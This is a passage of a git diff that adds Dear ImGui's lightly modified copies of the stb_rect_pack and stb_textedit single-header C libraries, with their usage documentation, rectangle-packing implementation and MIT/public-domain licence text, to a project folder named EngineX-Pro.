+// have the 'was_packed' flag set to 0. +// +// You should not try to access the 'rects' array from another thread +// while this function is running, as the function temporarily reorders +// the array while it executes. +// +// To pack into another rectangle, you need to call stbrp_init_target +// again. To continue packing into the same rectangle, you can call +// this function again. Calling this multiple times with multiple rect +// arrays will probably produce worse packing results than calling it +// a single time with the full rectangle array, but the option is +// available. +// +// The function returns 1 if all of the rectangles were successfully +// packed and 0 otherwise. + +struct stbrp_rect +{ + // reserved for your use: + int id; + + // input: + stbrp_coord w, h; + + // output: + stbrp_coord x, y; + int was_packed; // non-zero if valid packing + +}; // 16 bytes, nominally + + +STBRP_DEF void stbrp_init_target (stbrp_context *context, int width, int height, stbrp_node *nodes, int num_nodes); +// Initialize a rectangle packer to: +// pack a rectangle that is 'width' by 'height' in dimensions +// using temporary storage provided by the array 'nodes', which is 'num_nodes' long +// +// You must call this function every time you start packing into a new target. +// +// There is no "shutdown" function. The 'nodes' memory must stay valid for +// the following stbrp_pack_rects() call (or calls), but can be freed after +// the call (or calls) finish. +// +// Note: to guarantee best results, either: +// 1. make sure 'num_nodes' >= 'width' +// or 2. call stbrp_allow_out_of_mem() defined below with 'allow_out_of_mem = 1' +// +// If you don't do either of the above things, widths will be quantized to multiples +// of small integers to guarantee the algorithm doesn't run out of temporary storage. +// +// If you do #2, then the non-quantized algorithm will be used, but the algorithm +// may run out of temporary storage and be unable to pack some rectangles. + +STBRP_DEF void stbrp_setup_allow_out_of_mem (stbrp_context *context, int allow_out_of_mem); +// Optionally call this function after init but before doing any packing to +// change the handling of the out-of-temp-memory scenario, described above. +// If you call init again, this will be reset to the default (false). + + +STBRP_DEF void stbrp_setup_heuristic (stbrp_context *context, int heuristic); +// Optionally select which packing heuristic the library should use. Different +// heuristics will produce better/worse results for different data sets. +// If you call init again, this will be reset to the default. + +enum +{ + STBRP_HEURISTIC_Skyline_default=0, + STBRP_HEURISTIC_Skyline_BL_sortHeight = STBRP_HEURISTIC_Skyline_default, + STBRP_HEURISTIC_Skyline_BF_sortHeight +}; + + +////////////////////////////////////////////////////////////////////////////// +// +// the details of the following structures don't matter to you, but they must +// be visible so you can handle the memory allocations for them + +struct stbrp_node +{ + stbrp_coord x,y; + stbrp_node *next; +}; + +struct stbrp_context +{ + int width; + int height; + int align; + int init_mode; + int heuristic; + int num_nodes; + stbrp_node *active_head; + stbrp_node *free_head; + stbrp_node extra[2]; // we allocate two extra nodes so optimal user-node-count is 'width' not 'width+2' +}; + +#ifdef __cplusplus +} +#endif + +#endif + +////////////////////////////////////////////////////////////////////////////// +// +// IMPLEMENTATION SECTION +// + +#ifdef STB_RECT_PACK_IMPLEMENTATION +#ifndef STBRP_SORT +#include +#define STBRP_SORT qsort +#endif + +#ifndef STBRP_ASSERT +#include +#define STBRP_ASSERT assert +#endif + +// [DEAR IMGUI] Added STBRP__CDECL +#ifdef _MSC_VER +#define STBRP__NOTUSED(v) (void)(v) +#define STBRP__CDECL __cdecl +#else +#define STBRP__NOTUSED(v) (void)sizeof(v) +#define STBRP__CDECL +#endif + +enum +{ + STBRP__INIT_skyline = 1 +}; + +STBRP_DEF void stbrp_setup_heuristic(stbrp_context *context, int heuristic) +{ + switch (context->init_mode) { + case STBRP__INIT_skyline: + STBRP_ASSERT(heuristic == STBRP_HEURISTIC_Skyline_BL_sortHeight || heuristic == STBRP_HEURISTIC_Skyline_BF_sortHeight); + context->heuristic = heuristic; + break; + default: + STBRP_ASSERT(0); + } +} + +STBRP_DEF void stbrp_setup_allow_out_of_mem(stbrp_context *context, int allow_out_of_mem) +{ + if (allow_out_of_mem) + // if it's ok to run out of memory, then don't bother aligning them; + // this gives better packing, but may fail due to OOM (even though + // the rectangles easily fit). @TODO a smarter approach would be to only + // quantize once we've hit OOM, then we could get rid of this parameter. + context->align = 1; + else { + // if it's not ok to run out of memory, then quantize the widths + // so that num_nodes is always enough nodes. + // + // I.e. num_nodes * align >= width + // align >= width / num_nodes + // align = ceil(width/num_nodes) + + context->align = (context->width + context->num_nodes-1) / context->num_nodes; + } +} + +STBRP_DEF void stbrp_init_target(stbrp_context *context, int width, int height, stbrp_node *nodes, int num_nodes) +{ + int i; +#ifndef STBRP_LARGE_RECTS + STBRP_ASSERT(width <= 0xffff && height <= 0xffff); +#endif + + for (i=0; i < num_nodes-1; ++i) + nodes[i].next = &nodes[i+1]; + nodes[i].next = NULL; + context->init_mode = STBRP__INIT_skyline; + context->heuristic = STBRP_HEURISTIC_Skyline_default; + context->free_head = &nodes[0]; + context->active_head = &context->extra[0]; + context->width = width; + context->height = height; + context->num_nodes = num_nodes; + stbrp_setup_allow_out_of_mem(context, 0); + + // node 0 is the full width, node 1 is the sentinel (lets us not store width explicitly) + context->extra[0].x = 0; + context->extra[0].y = 0; + context->extra[0].next = &context->extra[1]; + context->extra[1].x = (stbrp_coord) width; +#ifdef STBRP_LARGE_RECTS + context->extra[1].y = (1<<30); +#else + context->extra[1].y = 65535; +#endif + context->extra[1].next = NULL; +} + +// find minimum y position if it starts at x1 +static int stbrp__skyline_find_min_y(stbrp_context *c, stbrp_node *first, int x0, int width, int *pwaste) +{ + stbrp_node *node = first; + int x1 = x0 + width; + int min_y, visited_width, waste_area; + + STBRP__NOTUSED(c); + + STBRP_ASSERT(first->x <= x0); + + #if 0 + // skip in case we're past the node + while (node->next->x <= x0) + ++node; + #else + STBRP_ASSERT(node->next->x > x0); // we ended up handling this in the caller for efficiency + #endif + + STBRP_ASSERT(node->x <= x0); + + min_y = 0; + waste_area = 0; + visited_width = 0; + while (node->x < x1) { + if (node->y > min_y) { + // raise min_y higher. + // we've accounted for all waste up to min_y, + // but we'll now add more waste for everything we've visted + waste_area += visited_width * (node->y - min_y); + min_y = node->y; + // the first time through, visited_width might be reduced + if (node->x < x0) + visited_width += node->next->x - x0; + else + visited_width += node->next->x - node->x; + } else { + // add waste area + int under_width = node->next->x - node->x; + if (under_width + visited_width > width) + under_width = width - visited_width; + waste_area += under_width * (min_y - node->y); + visited_width += under_width; + } + node = node->next; + } + + *pwaste = waste_area; + return min_y; +} + +typedef struct +{ + int x,y; + stbrp_node **prev_link; +} stbrp__findresult; + +static stbrp__findresult stbrp__skyline_find_best_pos(stbrp_context *c, int width, int height) +{ + int best_waste = (1<<30), best_x, best_y = (1 << 30); + stbrp__findresult fr; + stbrp_node **prev, *node, *tail, **best = NULL; + + // align to multiple of c->align + width = (width + c->align - 1); + width -= width % c->align; + STBRP_ASSERT(width % c->align == 0); + + // if it can't possibly fit, bail immediately + if (width > c->width || height > c->height) { + fr.prev_link = NULL; + fr.x = fr.y = 0; + return fr; + } + + node = c->active_head; + prev = &c->active_head; + while (node->x + width <= c->width) { + int y,waste; + y = stbrp__skyline_find_min_y(c, node, node->x, width, &waste); + if (c->heuristic == STBRP_HEURISTIC_Skyline_BL_sortHeight) { // actually just want to test BL + // bottom left + if (y < best_y) { + best_y = y; + best = prev; + } + } else { + // best-fit + if (y + height <= c->height) { + // can only use it if it first vertically + if (y < best_y || (y == best_y && waste < best_waste)) { + best_y = y; + best_waste = waste; + best = prev; + } + } + } + prev = &node->next; + node = node->next; + } + + best_x = (best == NULL) ? 0 : (*best)->x; + + // if doing best-fit (BF), we also have to try aligning right edge to each node position + // + // e.g, if fitting + // + // ____________________ + // |____________________| + // + // into + // + // | | + // | ____________| + // |____________| + // + // then right-aligned reduces waste, but bottom-left BL is always chooses left-aligned + // + // This makes BF take about 2x the time + + if (c->heuristic == STBRP_HEURISTIC_Skyline_BF_sortHeight) { + tail = c->active_head; + node = c->active_head; + prev = &c->active_head; + // find first node that's admissible + while (tail->x < width) + tail = tail->next; + while (tail) { + int xpos = tail->x - width; + int y,waste; + STBRP_ASSERT(xpos >= 0); + // find the left position that matches this + while (node->next->x <= xpos) { + prev = &node->next; + node = node->next; + } + STBRP_ASSERT(node->next->x > xpos && node->x <= xpos); + y = stbrp__skyline_find_min_y(c, node, xpos, width, &waste); + if (y + height <= c->height) { + if (y <= best_y) { + if (y < best_y || waste < best_waste || (waste==best_waste && xpos < best_x)) { + best_x = xpos; + STBRP_ASSERT(y <= best_y); + best_y = y; + best_waste = waste; + best = prev; + } + } + } + tail = tail->next; + } + } + + fr.prev_link = best; + fr.x = best_x; + fr.y = best_y; + return fr; +} + +static stbrp__findresult stbrp__skyline_pack_rectangle(stbrp_context *context, int width, int height) +{ + // find best position according to heuristic + stbrp__findresult res = stbrp__skyline_find_best_pos(context, width, height); + stbrp_node *node, *cur; + + // bail if: + // 1. it failed + // 2. the best node doesn't fit (we don't always check this) + // 3. we're out of memory + if (res.prev_link == NULL || res.y + height > context->height || context->free_head == NULL) { + res.prev_link = NULL; + return res; + } + + // on success, create new node + node = context->free_head; + node->x = (stbrp_coord) res.x; + node->y = (stbrp_coord) (res.y + height); + + context->free_head = node->next; + + // insert the new node into the right starting point, and + // let 'cur' point to the remaining nodes needing to be + // stiched back in + + cur = *res.prev_link; + if (cur->x < res.x) { + // preserve the existing one, so start testing with the next one + stbrp_node *next = cur->next; + cur->next = node; + cur = next; + } else { + *res.prev_link = node; + } + + // from here, traverse cur and free the nodes, until we get to one + // that shouldn't be freed + while (cur->next && cur->next->x <= res.x + width) { + stbrp_node *next = cur->next; + // move the current node to the free list + cur->next = context->free_head; + context->free_head = cur; + cur = next; + } + + // stitch the list back in + node->next = cur; + + if (cur->x < res.x + width) + cur->x = (stbrp_coord) (res.x + width); + +#ifdef _DEBUG + cur = context->active_head; + while (cur->x < context->width) { + STBRP_ASSERT(cur->x < cur->next->x); + cur = cur->next; + } + STBRP_ASSERT(cur->next == NULL); + + { + int count=0; + cur = context->active_head; + while (cur) { + cur = cur->next; + ++count; + } + cur = context->free_head; + while (cur) { + cur = cur->next; + ++count; + } + STBRP_ASSERT(count == context->num_nodes+2); + } +#endif + + return res; +} + +// [DEAR IMGUI] Added STBRP__CDECL +static int STBRP__CDECL rect_height_compare(const void *a, const void *b) +{ + const stbrp_rect *p = (const stbrp_rect *) a; + const stbrp_rect *q = (const stbrp_rect *) b; + if (p->h > q->h) + return -1; + if (p->h < q->h) + return 1; + return (p->w > q->w) ? -1 : (p->w < q->w); +} + +// [DEAR IMGUI] Added STBRP__CDECL +static int STBRP__CDECL rect_original_order(const void *a, const void *b) +{ + const stbrp_rect *p = (const stbrp_rect *) a; + const stbrp_rect *q = (const stbrp_rect *) b; + return (p->was_packed < q->was_packed) ? -1 : (p->was_packed > q->was_packed); +} + +#ifdef STBRP_LARGE_RECTS +#define STBRP__MAXVAL 0xffffffff +#else +#define STBRP__MAXVAL 0xffff +#endif + +STBRP_DEF int stbrp_pack_rects(stbrp_context *context, stbrp_rect *rects, int num_rects) +{ + int i, all_rects_packed = 1; + + // we use the 'was_packed' field internally to allow sorting/unsorting + for (i=0; i < num_rects; ++i) { + rects[i].was_packed = i; + } + + // sort according to heuristic + STBRP_SORT(rects, num_rects, sizeof(rects[0]), rect_height_compare); + + for (i=0; i < num_rects; ++i) { + if (rects[i].w == 0 || rects[i].h == 0) { + rects[i].x = rects[i].y = 0; // empty rect needs no space + } else { + stbrp__findresult fr = stbrp__skyline_pack_rectangle(context, rects[i].w, rects[i].h); + if (fr.prev_link) { + rects[i].x = (stbrp_coord) fr.x; + rects[i].y = (stbrp_coord) fr.y; + } else { + rects[i].x = rects[i].y = STBRP__MAXVAL; + } + } + } + + // unsort + STBRP_SORT(rects, num_rects, sizeof(rects[0]), rect_original_order); + + // set was_packed flags and all_rects_packed status + for (i=0; i < num_rects; ++i) { + rects[i].was_packed = !(rects[i].x == STBRP__MAXVAL && rects[i].y == STBRP__MAXVAL); + if (!rects[i].was_packed) + all_rects_packed = 0; + } + + // return the all_rects_packed status + return all_rects_packed; +} +#endif + +/* +------------------------------------------------------------------------------ +This software is available under 2 licenses -- choose whichever you prefer. +------------------------------------------------------------------------------ +ALTERNATIVE A - MIT License +Copyright (c) 2017 Sean Barrett +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies +of the Software, and to permit persons to whom the Software is furnished to do +so, subject to the following conditions: +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +------------------------------------------------------------------------------ +ALTERNATIVE B - Public Domain (www.unlicense.org) +This is free and unencumbered software released into the public domain. +Anyone is free to copy, modify, publish, use, compile, sell, or distribute this +software, either in source code form or as a compiled binary, for any purpose, +commercial or non-commercial, and by any means. +In jurisdictions that recognize copyright laws, the author or authors of this +software dedicate any and all copyright interest in the software to the public +domain. We make this dedication for the benefit of the public at large and to +the detriment of our heirs and successors. We intend this dedication to be an +overt act of relinquishment in perpetuity of all present and future rights to +this software under copyright law. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN +ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +------------------------------------------------------------------------------ +*/ diff --git a/EngineX-Pro/ImGui/imstb_textedit.h b/EngineX-Pro/ImGui/imstb_textedit.h new file mode 100644 index 0000000..7644670 --- /dev/null +++ b/EngineX-Pro/ImGui/imstb_textedit.h @@ -0,0 +1,1447 @@ +// [DEAR IMGUI] +// This is a slightly modified version of stb_textedit.h 1.13. +// Those changes would need to be pushed into nothings/stb: +// - Fix in stb_textedit_discard_redo (see https://github.com/nothings/stb/issues/321) +// Grep for [DEAR IMGUI] to find the changes. + +// stb_textedit.h - v1.13 - public domain - Sean Barrett +// Development of this library was sponsored by RAD Game Tools +// +// This C header file implements the guts of a multi-line text-editing +// widget; you implement display, word-wrapping, and low-level string +// insertion/deletion, and stb_textedit will map user inputs into +// insertions & deletions, plus updates to the cursor position, +// selection state, and undo state. +// +// It is intended for use in games and other systems that need to build +// their own custom widgets and which do not have heavy text-editing +// requirements (this library is not recommended for use for editing large +// texts, as its performance does not scale and it has limited undo). +// +// Non-trivial behaviors are modelled after Windows text controls. +// +// +// LICENSE +// +// See end of file for license information. +// +// +// DEPENDENCIES +// +// Uses the C runtime function 'memmove', which you can override +// by defining STB_TEXTEDIT_memmove before the implementation. +// Uses no other functions. Performs no runtime allocations. +// +// +// VERSION HISTORY +// +// 1.13 (2019-02-07) fix bug in undo size management +// 1.12 (2018-01-29) user can change STB_TEXTEDIT_KEYTYPE, fix redo to avoid crash +// 1.11 (2017-03-03) fix HOME on last line, dragging off single-line textfield +// 1.10 (2016-10-25) supress warnings about casting away const with -Wcast-qual +// 1.9 (2016-08-27) customizable move-by-word +// 1.8 (2016-04-02) better keyboard handling when mouse button is down +// 1.7 (2015-09-13) change y range handling in case baseline is non-0 +// 1.6 (2015-04-15) allow STB_TEXTEDIT_memmove +// 1.5 (2014-09-10) add support for secondary keys for OS X +// 1.4 (2014-08-17) fix signed/unsigned warnings +// 1.3 (2014-06-19) fix mouse clicking to round to nearest char boundary +// 1.2 (2014-05-27) fix some RAD types that had crept into the new code +// 1.1 (2013-12-15) move-by-word (requires STB_TEXTEDIT_IS_SPACE ) +// 1.0 (2012-07-26) improve documentation, initial public release +// 0.3 (2012-02-24) bugfixes, single-line mode; insert mode +// 0.2 (2011-11-28) fixes to undo/redo +// 0.1 (2010-07-08) initial version +// +// ADDITIONAL CONTRIBUTORS +// +// Ulf Winklemann: move-by-word in 1.1 +// Fabian Giesen: secondary key inputs in 1.5 +// Martins Mozeiko: STB_TEXTEDIT_memmove in 1.6 +// +// Bugfixes: +// Scott Graham +// Daniel Keller +// Omar Cornut +// Dan Thompson +// +// USAGE +// +// This file behaves differently depending on what symbols you define +// before including it. +// +// +// Header-file mode: +// +// If you do not define STB_TEXTEDIT_IMPLEMENTATION before including this, +// it will operate in "header file" mode. In this mode, it declares a +// single public symbol, STB_TexteditState, which encapsulates the current +// state of a text widget (except for the string, which you will store +// separately). +// +// To compile in this mode, you must define STB_TEXTEDIT_CHARTYPE to a +// primitive type that defines a single character (e.g. char, wchar_t, etc). +// +// To save space or increase undo-ability, you can optionally define the +// following things that are used by the undo system: +// +// STB_TEXTEDIT_POSITIONTYPE small int type encoding a valid cursor position +// STB_TEXTEDIT_UNDOSTATECOUNT the number of undo states to allow +// STB_TEXTEDIT_UNDOCHARCOUNT the number of characters to store in the undo buffer +// +// If you don't define these, they are set to permissive types and +// moderate sizes. The undo system does no memory allocations, so +// it grows STB_TexteditState by the worst-case storage which is (in bytes): +// +// [4 + 3 * sizeof(STB_TEXTEDIT_POSITIONTYPE)] * STB_TEXTEDIT_UNDOSTATE_COUNT +// + sizeof(STB_TEXTEDIT_CHARTYPE) * STB_TEXTEDIT_UNDOCHAR_COUNT +// +// +// Implementation mode: +// +// If you define STB_TEXTEDIT_IMPLEMENTATION before including this, it +// will compile the implementation of the text edit widget, depending +// on a large number of symbols which must be defined before the include. +// +// The implementation is defined only as static functions. You will then +// need to provide your own APIs in the same file which will access the +// static functions. +// +// The basic concept is that you provide a "string" object which +// behaves like an array of characters. stb_textedit uses indices to +// refer to positions in the string, implicitly representing positions +// in the displayed textedit. This is true for both plain text and +// rich text; even with rich text stb_truetype interacts with your +// code as if there was an array of all the displayed characters. +// +// Symbols that must be the same in header-file and implementation mode: +// +// STB_TEXTEDIT_CHARTYPE the character type +// STB_TEXTEDIT_POSITIONTYPE small type that is a valid cursor position +// STB_TEXTEDIT_UNDOSTATECOUNT the number of undo states to allow +// STB_TEXTEDIT_UNDOCHARCOUNT the number of characters to store in the undo buffer +// +// Symbols you must define for implementation mode: +// +// STB_TEXTEDIT_STRING the type of object representing a string being edited, +// typically this is a wrapper object with other data you need +// +// STB_TEXTEDIT_STRINGLEN(obj) the length of the string (ideally O(1)) +// STB_TEXTEDIT_LAYOUTROW(&r,obj,n) returns the results of laying out a line of characters +// starting from character #n (see discussion below) +// STB_TEXTEDIT_GETWIDTH(obj,n,i) returns the pixel delta from the xpos of the i'th character +// to the xpos of the i+1'th char for a line of characters +// starting at character #n (i.e. accounts for kerning +// with previous char) +// STB_TEXTEDIT_KEYTOTEXT(k) maps a keyboard input to an insertable character +// (return type is int, -1 means not valid to insert) +// STB_TEXTEDIT_GETCHAR(obj,i) returns the i'th character of obj, 0-based +// STB_TEXTEDIT_NEWLINE the character returned by _GETCHAR() we recognize +// as manually wordwrapping for end-of-line positioning +// +// STB_TEXTEDIT_DELETECHARS(obj,i,n) delete n characters starting at i +// STB_TEXTEDIT_INSERTCHARS(obj,i,c*,n) insert n characters at i (pointed to by STB_TEXTEDIT_CHARTYPE*) +// +// STB_TEXTEDIT_K_SHIFT a power of two that is or'd in to a keyboard input to represent the shift key +// +// STB_TEXTEDIT_K_LEFT keyboard input to move cursor left +// STB_TEXTEDIT_K_RIGHT keyboard input to move cursor right +// STB_TEXTEDIT_K_UP keyboard input to move cursor up +// STB_TEXTEDIT_K_DOWN keyboard input to move cursor down +// STB_TEXTEDIT_K_PGUP keyboard input to move cursor up a page +// STB_TEXTEDIT_K_PGDOWN keyboard input to move cursor down a page +// STB_TEXTEDIT_K_LINESTART keyboard input to move cursor to start of line // e.g. HOME +// STB_TEXTEDIT_K_LINEEND keyboard input to move cursor to end of line // e.g. END +// STB_TEXTEDIT_K_TEXTSTART keyboard input to move cursor to start of text // e.g. ctrl-HOME +// STB_TEXTEDIT_K_TEXTEND keyboard input to move cursor to end of text // e.g. ctrl-END +// STB_TEXTEDIT_K_DELETE keyboard input to delete selection or character under cursor +// STB_TEXTEDIT_K_BACKSPACE keyboard input to delete selection or character left of cursor +// STB_TEXTEDIT_K_UNDO keyboard input to perform undo +// STB_TEXTEDIT_K_REDO keyboard input to perform redo +// +// Optional: +// STB_TEXTEDIT_K_INSERT keyboard input to toggle insert mode +// STB_TEXTEDIT_IS_SPACE(ch) true if character is whitespace (e.g. 'isspace'), +// required for default WORDLEFT/WORDRIGHT handlers +// STB_TEXTEDIT_MOVEWORDLEFT(obj,i) custom handler for WORDLEFT, returns index to move cursor to +// STB_TEXTEDIT_MOVEWORDRIGHT(obj,i) custom handler for WORDRIGHT, returns index to move cursor to +// STB_TEXTEDIT_K_WORDLEFT keyboard input to move cursor left one word // e.g. ctrl-LEFT +// STB_TEXTEDIT_K_WORDRIGHT keyboard input to move cursor right one word // e.g. ctrl-RIGHT +// STB_TEXTEDIT_K_LINESTART2 secondary keyboard input to move cursor to start of line +// STB_TEXTEDIT_K_LINEEND2 secondary keyboard input to move cursor to end of line +// STB_TEXTEDIT_K_TEXTSTART2 secondary keyboard input to move cursor to start of text +// STB_TEXTEDIT_K_TEXTEND2 secondary keyboard input to move cursor to end of text +// +// Keyboard input must be encoded as a single integer value; e.g. a character code +// and some bitflags that represent shift states. to simplify the interface, SHIFT must +// be a bitflag, so we can test the shifted state of cursor movements to allow selection, +// i.e. (STB_TEXTEDIT_K_RIGHT|STB_TEXTEDIT_K_SHIFT) should be shifted right-arrow. +// +// You can encode other things, such as CONTROL or ALT, in additional bits, and +// then test for their presence in e.g. STB_TEXTEDIT_K_WORDLEFT. For example, +// my Windows implementations add an additional CONTROL bit, and an additional KEYDOWN +// bit. Then all of the STB_TEXTEDIT_K_ values bitwise-or in the KEYDOWN bit, +// and I pass both WM_KEYDOWN and WM_CHAR events to the "key" function in the +// API below. The control keys will only match WM_KEYDOWN events because of the +// keydown bit I add, and STB_TEXTEDIT_KEYTOTEXT only tests for the KEYDOWN +// bit so it only decodes WM_CHAR events. +// +// STB_TEXTEDIT_LAYOUTROW returns information about the shape of one displayed +// row of characters assuming they start on the i'th character--the width and +// the height and the number of characters consumed. This allows this library +// to traverse the entire layout incrementally. You need to compute word-wrapping +// here. +// +// Each textfield keeps its own insert mode state, which is not how normal +// applications work. To keep an app-wide insert mode, update/copy the +// "insert_mode" field of STB_TexteditState before/after calling API functions. +// +// API +// +// void stb_textedit_initialize_state(STB_TexteditState *state, int is_single_line) +// +// void stb_textedit_click(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, float x, float y) +// void stb_textedit_drag(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, float x, float y) +// int stb_textedit_cut(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) +// int stb_textedit_paste(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, STB_TEXTEDIT_CHARTYPE *text, int len) +// void stb_textedit_key(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, STB_TEXEDIT_KEYTYPE key) +// +// Each of these functions potentially updates the string and updates the +// state. +// +// initialize_state: +// set the textedit state to a known good default state when initially +// constructing the textedit. +// +// click: +// call this with the mouse x,y on a mouse down; it will update the cursor +// and reset the selection start/end to the cursor point. the x,y must +// be relative to the text widget, with (0,0) being the top left. +// +// drag: +// call this with the mouse x,y on a mouse drag/up; it will update the +// cursor and the selection end point +// +// cut: +// call this to delete the current selection; returns true if there was +// one. you should FIRST copy the current selection to the system paste buffer. +// (To copy, just copy the current selection out of the string yourself.) +// +// paste: +// call this to paste text at the current cursor point or over the current +// selection if there is one. +// +// key: +// call this for keyboard inputs sent to the textfield. you can use it +// for "key down" events or for "translated" key events. if you need to +// do both (as in Win32), or distinguish Unicode characters from control +// inputs, set a high bit to distinguish the two; then you can define the +// various definitions like STB_TEXTEDIT_K_LEFT have the is-key-event bit +// set, and make STB_TEXTEDIT_KEYTOCHAR check that the is-key-event bit is +// clear. STB_TEXTEDIT_KEYTYPE defaults to int, but you can #define it to +// anything other type you wante before including. +// +// +// When rendering, you can read the cursor position and selection state from +// the STB_TexteditState. +// +// +// Notes: +// +// This is designed to be usable in IMGUI, so it allows for the possibility of +// running in an IMGUI that has NOT cached the multi-line layout. For this +// reason, it provides an interface that is compatible with computing the +// layout incrementally--we try to make sure we make as few passes through +// as possible. (For example, to locate the mouse pointer in the text, we +// could define functions that return the X and Y positions of characters +// and binary search Y and then X, but if we're doing dynamic layout this +// will run the layout algorithm many times, so instead we manually search +// forward in one pass. Similar logic applies to e.g. up-arrow and +// down-arrow movement.) +// +// If it's run in a widget that *has* cached the layout, then this is less +// efficient, but it's not horrible on modern computers. But you wouldn't +// want to edit million-line files with it. + + +//////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////// +//// +//// Header-file mode +//// +//// + +#ifndef INCLUDE_STB_TEXTEDIT_H +#define INCLUDE_STB_TEXTEDIT_H + +//////////////////////////////////////////////////////////////////////// +// +// STB_TexteditState +// +// Definition of STB_TexteditState which you should store +// per-textfield; it includes cursor position, selection state, +// and undo state. +// + +#ifndef STB_TEXTEDIT_UNDOSTATECOUNT +#define STB_TEXTEDIT_UNDOSTATECOUNT 99 +#endif +#ifndef STB_TEXTEDIT_UNDOCHARCOUNT +#define STB_TEXTEDIT_UNDOCHARCOUNT 999 +#endif +#ifndef STB_TEXTEDIT_CHARTYPE +#define STB_TEXTEDIT_CHARTYPE int +#endif +#ifndef STB_TEXTEDIT_POSITIONTYPE +#define STB_TEXTEDIT_POSITIONTYPE int +#endif + +typedef struct +{ + // private data + STB_TEXTEDIT_POSITIONTYPE where; + STB_TEXTEDIT_POSITIONTYPE insert_length; + STB_TEXTEDIT_POSITIONTYPE delete_length; + int char_storage; +} StbUndoRecord; + +typedef struct +{ + // private data + StbUndoRecord undo_rec [STB_TEXTEDIT_UNDOSTATECOUNT]; + STB_TEXTEDIT_CHARTYPE undo_char[STB_TEXTEDIT_UNDOCHARCOUNT]; + short undo_point, redo_point; + int undo_char_point, redo_char_point; +} StbUndoState; + +typedef struct +{ + ///////////////////// + // + // public data + // + + int cursor; + // position of the text cursor within the string + + int select_start; // selection start point + int select_end; + // selection start and end point in characters; if equal, no selection. + // note that start may be less than or greater than end (e.g. when + // dragging the mouse, start is where the initial click was, and you + // can drag in either direction) + + unsigned char insert_mode; + // each textfield keeps its own insert mode state. to keep an app-wide + // insert mode, copy this value in/out of the app state + + int row_count_per_page; + // page size in number of row. + // this value MUST be set to >0 for pageup or pagedown in multilines documents. + + ///////////////////// + // + // private data + // + unsigned char cursor_at_end_of_line; // not implemented yet + unsigned char initialized; + unsigned char has_preferred_x; + unsigned char single_line; + unsigned char padding1, padding2, padding3; + float preferred_x; // this determines where the cursor up/down tries to seek to along x + StbUndoState undostate; +} STB_TexteditState; + + +//////////////////////////////////////////////////////////////////////// +// +// StbTexteditRow +// +// Result of layout query, used by stb_textedit to determine where +// the text in each row is. + +// result of layout query +typedef struct +{ + float x0,x1; // starting x location, end x location (allows for align=right, etc) + float baseline_y_delta; // position of baseline relative to previous row's baseline + float ymin,ymax; // height of row above and below baseline + int num_chars; +} StbTexteditRow; +#endif //INCLUDE_STB_TEXTEDIT_H + + +//////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////// +//// +//// Implementation mode +//// +//// + + +// implementation isn't include-guarded, since it might have indirectly +// included just the "header" portion +#ifdef STB_TEXTEDIT_IMPLEMENTATION + +#ifndef STB_TEXTEDIT_memmove +#include +#define STB_TEXTEDIT_memmove memmove +#endif + + +///////////////////////////////////////////////////////////////////////////// +// +// Mouse input handling +// + +// traverse the layout to locate the nearest character to a display position +static int stb_text_locate_coord(STB_TEXTEDIT_STRING *str, float x, float y) +{ + StbTexteditRow r; + int n = STB_TEXTEDIT_STRINGLEN(str); + float base_y = 0, prev_x; + int i=0, k; + + r.x0 = r.x1 = 0; + r.ymin = r.ymax = 0; + r.num_chars = 0; + + // search rows to find one that straddles 'y' + while (i < n) { + STB_TEXTEDIT_LAYOUTROW(&r, str, i); + if (r.num_chars <= 0) + return n; + + if (i==0 && y < base_y + r.ymin) + return 0; + + if (y < base_y + r.ymax) + break; + + i += r.num_chars; + base_y += r.baseline_y_delta; + } + + // below all text, return 'after' last character + if (i >= n) + return n; + + // check if it's before the beginning of the line + if (x < r.x0) + return i; + + // check if it's before the end of the line + if (x < r.x1) { + // search characters in row for one that straddles 'x' + prev_x = r.x0; + for (k=0; k < r.num_chars; ++k) { + float w = STB_TEXTEDIT_GETWIDTH(str, i, k); + if (x < prev_x+w) { + if (x < prev_x+w/2) + return k+i; + else + return k+i+1; + } + prev_x += w; + } + // shouldn't happen, but if it does, fall through to end-of-line case + } + + // if the last character is a newline, return that. otherwise return 'after' the last character + if (STB_TEXTEDIT_GETCHAR(str, i+r.num_chars-1) == STB_TEXTEDIT_NEWLINE) + return i+r.num_chars-1; + else + return i+r.num_chars; +} + +// API click: on mouse down, move the cursor to the clicked location, and reset the selection +static void stb_textedit_click(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, float x, float y) +{ + // In single-line mode, just always make y = 0. This lets the drag keep working if the mouse + // goes off the top or bottom of the text + if( state->single_line ) + { + StbTexteditRow r; + STB_TEXTEDIT_LAYOUTROW(&r, str, 0); + y = r.ymin; + } + + state->cursor = stb_text_locate_coord(str, x, y); + state->select_start = state->cursor; + 